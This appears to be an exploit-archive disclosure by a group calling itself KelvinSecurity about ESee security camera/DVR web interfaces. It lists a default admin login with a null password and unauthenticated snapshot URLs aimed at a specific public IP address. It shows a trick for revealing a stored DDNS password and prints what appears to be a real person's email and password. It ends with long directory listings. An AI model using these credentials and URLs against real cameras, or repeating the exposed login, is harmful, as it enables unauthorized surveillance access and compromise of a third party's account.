-----------------------------------------------------------------------------------

-----------------------------

____ __. .__ .__ _________ .__ __

| |/ _|____ | |___ _|__| ____ / _____/ ____ ____ __ _________|__|/ |_

___.__.
| <_/ __ | | / / |/ _____ _/ __ _/ ___| | _ __ __< | |
| | ___/| |_ /| | | / ___/ ___| | /| | / || | ___ |
|____|__ ___ >____/_/ |__|___| /_______ /___ >___ >____/ |__| |__||__| /
____|
/ / / / / / /
--- contact:https://www.facebook.com/pages/KelvinSecurity/1470285456587684

-----
-----------------------------------------------------------------------------------
----------------------------
Kelvinsecurity? -Milw0rm- -KelvinSecurity- //1995//1996//2016

Kelvinsecurity '
, , .

Follow In twitter > @nationgoverment

EMAIL_CONTACT: > KelvinseZurity@3g2upl4pq6kufc4m.onion
-----------------------------------------------------------------------------------
-----------------------------

# Exploit Title: ESee Camera Security | Information Disclosure

# Date: 11/12/16
# Exploit Author: KelvinSecurity

port: 8080

Detatils Server:

HTTP/1.1 200 OK
Server: thttpd/2.25b-lxc 29dec2003
Content-Type: text/html; charset=UTF-8
Last-Modified: Mon, 05 Mar 2012 08:06:25 GMT
Accept-Ranges: bytes
Connection: close
Content-Length: 2708

--- harc core ---

user:admin
password:null

---- Camera Not "Super User View" ----

/cgi-bin/snapshot.cgi
(example)

http://190.199.178.15:8080/cgi-bin/snapshot.cgi

http://190.199.178.15:8080/cgi-bin/snapshot.cgi?chn=1,2,3,4,5,6,7,8,9,10

---- password exposed ------

<input id="juan_envload#network@ddnspwd" type="password" olddata=""

onblur="if(chk_value_string(this.value, 25)==false)
{alert(language_find('settings_network_ddnspwd') +
language_find('settings_value_error'));this.value=this.olddata}">

(edit)

<input id="juan_envload#network@ddnspwd" type="txt"

user:zechomaru@gmail.com
password:compucredito

---- Information Disclosure ---

umount: forced umount of /root/dvr_web/www/settings.html failed!

umount: forced umount of /root/dvr_web/www/view.html failed!
umount: Mounting /root/dvr_web/www/settings_fl.html on
/root/dvr_web/www/settings.html failed: No such file or directory
umount: Mounting /root/dvr_web/www/view_fl.html on /root/dvr_web/www/view.html
failed: No such file or directory

/> /root/dvr_web/

-> /cgi-bin/ocx.cgi
-> /cgi-bin/fl.cgi

--- Directory Exposed ------

/> /cgi-bin/

dr-x 2 129 Mar 12 2012 ./

dr-x 6 529 Mar 12 2012 ../
-r-x 1 3992 Mar 12 2012 fl.cgi*
-r-x 1 36116 Mar 12 2012 flv.cgi*
-r-x 1 224260 Mar 12 2012 gw.cgi*
-r-x 1 61772 Mar 12 2012 jscript.cgi*
-r-x 1 3592 Mar 12 2012 ocx.cgi*
-r-x 1 17576 Mar 12 2012 shell.cgi*
-r-x 1 40584 Mar 12 2012 snapshot.cgi*
-r-x 1 41532 Mar 12 2012 sp.cgi*
-r-x 1 36900 Mar 12 2012 view.cgi

/> /js/
r-x 2 295 Mar 5 2012 ./
dr-x 6 529 Mar 12 2012 ../
-r-- 1 1882 Mar 5 2012 cookie.js
-r-- 1 6015 Mar 5 2012 index.js
-r-- 1 85278 Mar 5 2012 jquery.js
-r-x 1 17578 Mar 5 2012 lang_CHINESE_MAINLAND.js*
-r-x 1 17278 Mar 5 2012 lang_ENGLISH.js*
-r-x 1 18403 Mar 5 2012 lang_HEBREW.js*
-r-x 1 19591 Mar 5 2012 lang_RUSSIAN.js*
-r-- 1 16869 Mar 5 2012 playback.js
-r-- 1 8372 Mar 5 2012 popup_calendar.js
-r-- 1 9030 Mar 5 2012 settings.js
-r-x 1 9656 Mar 5 2012 settings_ocx.js*
-r-- 1 10226 Mar 5 2012 swfobject.js
-r-x 1 7292 Mar 5 2012 view1.js*
-r-x 1 7899 Mar 5 2012 view2.js*
-r-x 1 5675 Mar 5 2012 view3.js*
-r-x 1 2943 Mar 5 2012 view4.js*
-r-- 1 2470 Mar 5 2012 xml.js

/> /images/

dr-x 2 1605 Mar 5 2012 ./

dr-x 6 529 Mar 12 2012 ../
-r-- 1 1398 Mar 5 2012 16_1.jpg
-r-- 1 1484 Mar 5 2012 16_2.jpg
-r-- 1 1405 Mar 5 2012 16_3.jpg
-r-- 1 1213 Mar 5 2012 1_1.jpg
-r-- 1 1283 Mar 5 2012 1_2.jpg
-r-- 1 1225 Mar 5 2012 1_3.jpg
-r-- 1 1323 Mar 5 2012 4_1.jpg
-r-- 1 1405 Mar 5 2012 4_2.jpg
-r-- 1 1336 Mar 5 2012 4_3.jpg
-r-- 1 1402 Mar 5 2012 9_1.jpg
-r-- 1 1506 Mar 5 2012 9_2.jpg
-r-- 1 1420 Mar 5 2012 9_3.jpg
-r-- 1 751 Mar 5 2012 arr_333.gif
-r-- 1 1161 Mar 5 2012 auto_1.jpg
-r-- 1 1198 Mar 5 2012 auto_2.jpg
-r-- 1 1131 Mar 5 2012 auto_3.jpg
-r-- 1 50988 Mar 5 2012 background.jpg
-r-- 1 3256 Mar 5 2012 bg.jpg
-r-- 1 420 Mar 5 2012 bg_1.jpg
-r-- 1 335 Mar 5 2012 bg_2.jpg
-r-- 1 323 Mar 5 2012 bg_3.jpg
-r-- 1 317 Mar 5 2012 bg_4.jpg
-r-- 1 43 Mar 5 2012 blank.gif
-r-- 1 1094 Mar 5 2012 ch_1.jpg
-r-- 1 1448 Mar 5 2012 ch_2.jpg
-r-- 1 1571 Mar 5 2012 ch_3.jpg
-r-x 1 1165 Mar 5 2012 chn0.png*
-r-x 1 1185 Mar 5 2012 chn0_down.png*
-r-x 1 1647 Mar 5 2012 chn1.png*
-r-x 1 1661 Mar 5 2012 chn1_down.png*
-r-x 1 1764 Mar 5 2012 chn2.png*
-r-x 1 1756 Mar 5 2012 chn2_down.png*
-r-x 1 1482 Mar 5 2012 chn3.png*
-r-x 1 1502 Mar 5 2012 chn3_down.png*
-r-x 1 1010 Mar 5 2012 chn4.png*
-r-x 1 1005 Mar 5 2012 chn4_down.png*
-r-x 1 1020 Mar 5 2012 chn5.png*
-r-x 1 1017 Mar 5 2012 chn5_down.png*
-r-x 1 935 Mar 5 2012 chn6.png*
-r-x 1 929 Mar 5 2012 chn6_down.png*
-r-x 1 1020 Mar 5 2012 chn7.png*
-r-x 1 1016 Mar 5 2012 chn7_down.png*
-r-x 1 24016 Mar 5 2012 chn_raw.png*
-r-x 1 24038 Mar 5 2012 chn_raw_down.png*
-r-- 1 2175 Mar 5 2012 connectall_1.jpg
-r-- 1 2566 Mar 5 2012 connectall_2.jpg
-r-- 1 2286 Mar 5 2012 connectall_3.jpg
-r-- 1 1068 Mar 5 2012 disconnectall_1.jpg
-r-- 1 1188 Mar 5 2012 disconnectall_2.jpg
-r-- 1 1099 Mar 5 2012 disconnectall_3.jpg
-r-- 1 736 Mar 5 2012 down_1.jpg
-r-- 1 809 Mar 5 2012 down_2.jpg
-r-- 1 791 Mar 5 2012 down_3.jpg
-r-x 1 4917 Mar 5 2012 exit.png*
-r-x 1 4745 Mar 5 2012 exit_down.png*
-r-- 1 27924 Mar 5 2012 index_left.jpg
-r-- 1 3813 Mar 5 2012 index_right.jpg
-r-- 1 756 Mar 5 2012 left_1.jpg
-r-- 1 784 Mar 5 2012 left_2.jpg
-r-- 1 778 Mar 5 2012 left_3.jpg
-r-- 1 3856 Mar 5 2012 loading.gif
-r-- 1 2835 Mar 5 2012 lxc_channels.jpg
-r-- 1 423 Mar 5 2012 lxc_chn.jpg
-r-- 1 375 Mar 5 2012 lxc_foot.jpg
-r-- 1 324 Mar 5 2012 lxc_head.jpg
-r-- 1 885 Mar 5 2012 lxc_main.jpg
-r-- 1 348 Mar 5 2012 lxc_main_bottom.jpg
-r-- 1 336 Mar 5 2012 lxc_main_left.jpg
-r-- 1 323 Mar 5 2012 lxc_main_right.jpg
-r-- 1 342 Mar 5 2012 lxc_main_top.jpg
-r-- 1 10854 Mar 5 2012 lxc_ptz.jpg
-r-- 1 3895 Mar 5 2012 lxc_toolbar.jpg
-r-- 1 1365 Mar 5 2012 review_1.jpg
-r-- 1 1440 Mar 5 2012 review_2.jpg
-r-- 1 1378 Mar 5 2012 review_3.jpg
-r-- 1 782 Mar 5 2012 right_1.jpg
-r-- 1 820 Mar 5 2012 right_2.jpg
-r-- 1 804 Mar 5 2012 right_3.jpg
-r-x 1 3282 Mar 5 2012 settings.png*
-r-- 1 1330 Mar 5 2012 settings_1.jpg
-r-- 1 1419 Mar 5 2012 settings_2.jpg
-r-- 1 1342 Mar 5 2012 settings_3.jpg
-r-x 1 3673 Mar 5 2012 settings_down.png*
-r-- 1 885 Mar 5 2012 tab_1.jpg
-r-- 1 931 Mar 5 2012 tab_2.jpg
-r-- 1 582 Mar 5 2012 tab_3.jpg
-r-x 1 4631 Mar 5 2012 toplay.png*
-r-x 1 4399 Mar 5 2012 tostop.png*
-r-- 1 845 Mar 5 2012 up_1.jpg
-r-- 1 843 Mar 5 2012 up_2.jpg
-r-- 1 753 Mar 5 2012 up_3.jpg
-r-x 1 4466 Mar 5 2012 waitting.gif*
-r-- 1 1304 Mar 5 2012 zoomdown_1.jpg
-r-- 1 1564 Mar 5 2012 zoomdown_2.jpg
-r-- 1 1667 Mar 5 2012 zoomdown_3.jpg
-r-- 1 1371 Mar 5 2012 zoomup_1.jpg
-r-- 1 1649 Mar 5 2012 zoomup_2.jpg
-r-- 1 1725 Mar 5 2012 zoomup_3.jpg